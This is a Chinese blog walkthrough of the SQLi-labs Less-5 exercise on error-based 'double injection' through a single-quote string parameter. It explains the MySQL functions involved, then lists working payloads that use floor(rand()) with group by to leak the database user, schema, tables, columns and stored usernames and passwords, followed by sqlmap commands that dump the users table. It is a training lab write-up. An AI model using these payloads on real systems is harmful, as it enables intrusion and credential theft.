【SQL注入攻击】GET-Double Injection-Single Quotes-String(双注入GET单引号字符型注入)

概念

双注入简单理解为一个select查询里嵌套一个select查询,如果要利用双注入,就需要人为构造特定的能够造成报错的查询,从而在报错信息里返回我们需要的数据。

需要用到的函数和语句有:

1.concat() 作用为连接括号里的参数。例concat(1,~,2) 结果为 1-2

2.floor() 作用为对括号里的非整数进行取整 如1.9取为1,2.1取为2

3.count() 作用为针对查询结果条数进行计数

4.rand() 作用为生成0-1范围内的随机数 (1.括号内如果填写一个固定参数,则每次生成的随机数固定;2.使用* 运算符,可以使取值范围扩大,如 rand()*2 的取值范围为0-2)

5.group by [key]对查询结果进行分组,针对每一个key 列出一条结果。

6.group by [key]和 conut(*)联用,作用为列出所有可能的key和key的查询结果条数。

最后再介绍一种错误类型:Duplicate entry

这种错误一般发生于数据库对某一个字段有UNIQUE限制的情况下,例如某员工信息表里对身份证号字段设置的UNIQUE限制,即不能出现重复的身份证号,当我们插入一条新员工信息时,输入表中已存在的身份证号时就会报Duplicate entry错误,即重复录入。

HackBar

观察页面

注入id=1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KwvwsWoV-1667220928419)(assets/image-20221029203018-9h380jr.png)]

且正确的回显只有这么一种回显,根本没有办法得到什么有效的信息

判断注入点

注入id=1’

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CjwyupU3-1667220928421)(assets/image-20221029203116-co6fq4r.png)]​

访问报错了,但是查看报错的原因,明显跟单引号的闭合问题有关

且正确的回显只有这么一种回显,所以我们可以从利用报错的信息进行注入

判断字段数

一般再有报错回显的页面都可以利用order by来爆出字段数

?id=1’ order by 3 --+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8yAGGM4N-1667220928422)(assets/image-20221029203823-2yob0ju.png)]​

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ox3rP3k5-1667220928423)(assets/image-20221029203903-7ejkt2d.png)]​

可以得到当前的数据表共有3个字段

爆数据库用户

?id=-1' union select 1,count(*),concat((select user()),floor(rand()*9))as a from information_schema.tables group by a--+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fwndQOiB-1667220928423)(assets/image-20221031202718-rjk9o5x.png)]​

爆数据库名

?id=1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2gx31FpE-1667220928424)(assets/image-20221029204450-2gj5eu4.png)]​

爆数据库的数据表

?id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a--+

爆当前数据库的第一个表

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fnGV6n9y-1667220928425)(assets/image-20221029210750-19caogv.png)]​

如果想知道还有其他什么表的话直接遍历就好了limit1,1

尝试过一次爆多个数据表,但是会报错

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MjItakKo-1667220928426)(assets/image-20221029210110-gee7gg1.png)]​

爆数据库的数据表中的列名

http://0.0.0.0:777/Less-5/?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E4o5XnyL-1667220928427)(assets/image-20221031203438-za59fj9.png)]​

同样是只能爆出一行的数据,多了就会报错

爆数据库的数据表中的字段名

?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

遍历即可得到所有的信息

sqlmap

sqlmap -u "0.0.0.0:777/Less-5/?id=1''" -batch

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fxBZeOa0-1667220928427)(assets/image-20221031203943-ld3lxux.png)]​

爆数据库名

sqlmap -u "0.0.0.0:777/Less-5/?id=1''" -batch -dbs

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3OG8oyW1-1667220928428)(assets/image-20221031204041-2z5kmyr.png)]​

爆数据库中的数据表

sqlmap -u "0.0.0.0:777/Less-5/?id=1" -batch -D security --tables

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EiEJL3i2-1667220928428)(assets/image-20221031204150-2i68p4s.png)]​

爆数据表的字段信息

sqlmap -u "http://0.0.0.0:777/Less-5/?id=1" -batch -T users --columns

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-imwQXCkE-1667220928429)(assets/image-20221031204235-tumt0be.png)]​

爆数据表的信息

sqlmap -u "http://0.0.0.0:777/Less-5/?id=1" -batch -D security -T users -C username,password -dump

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yEWlCe8I-1667220928430)(assets/image-20221031204323-p4ns1hv.png)]​

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值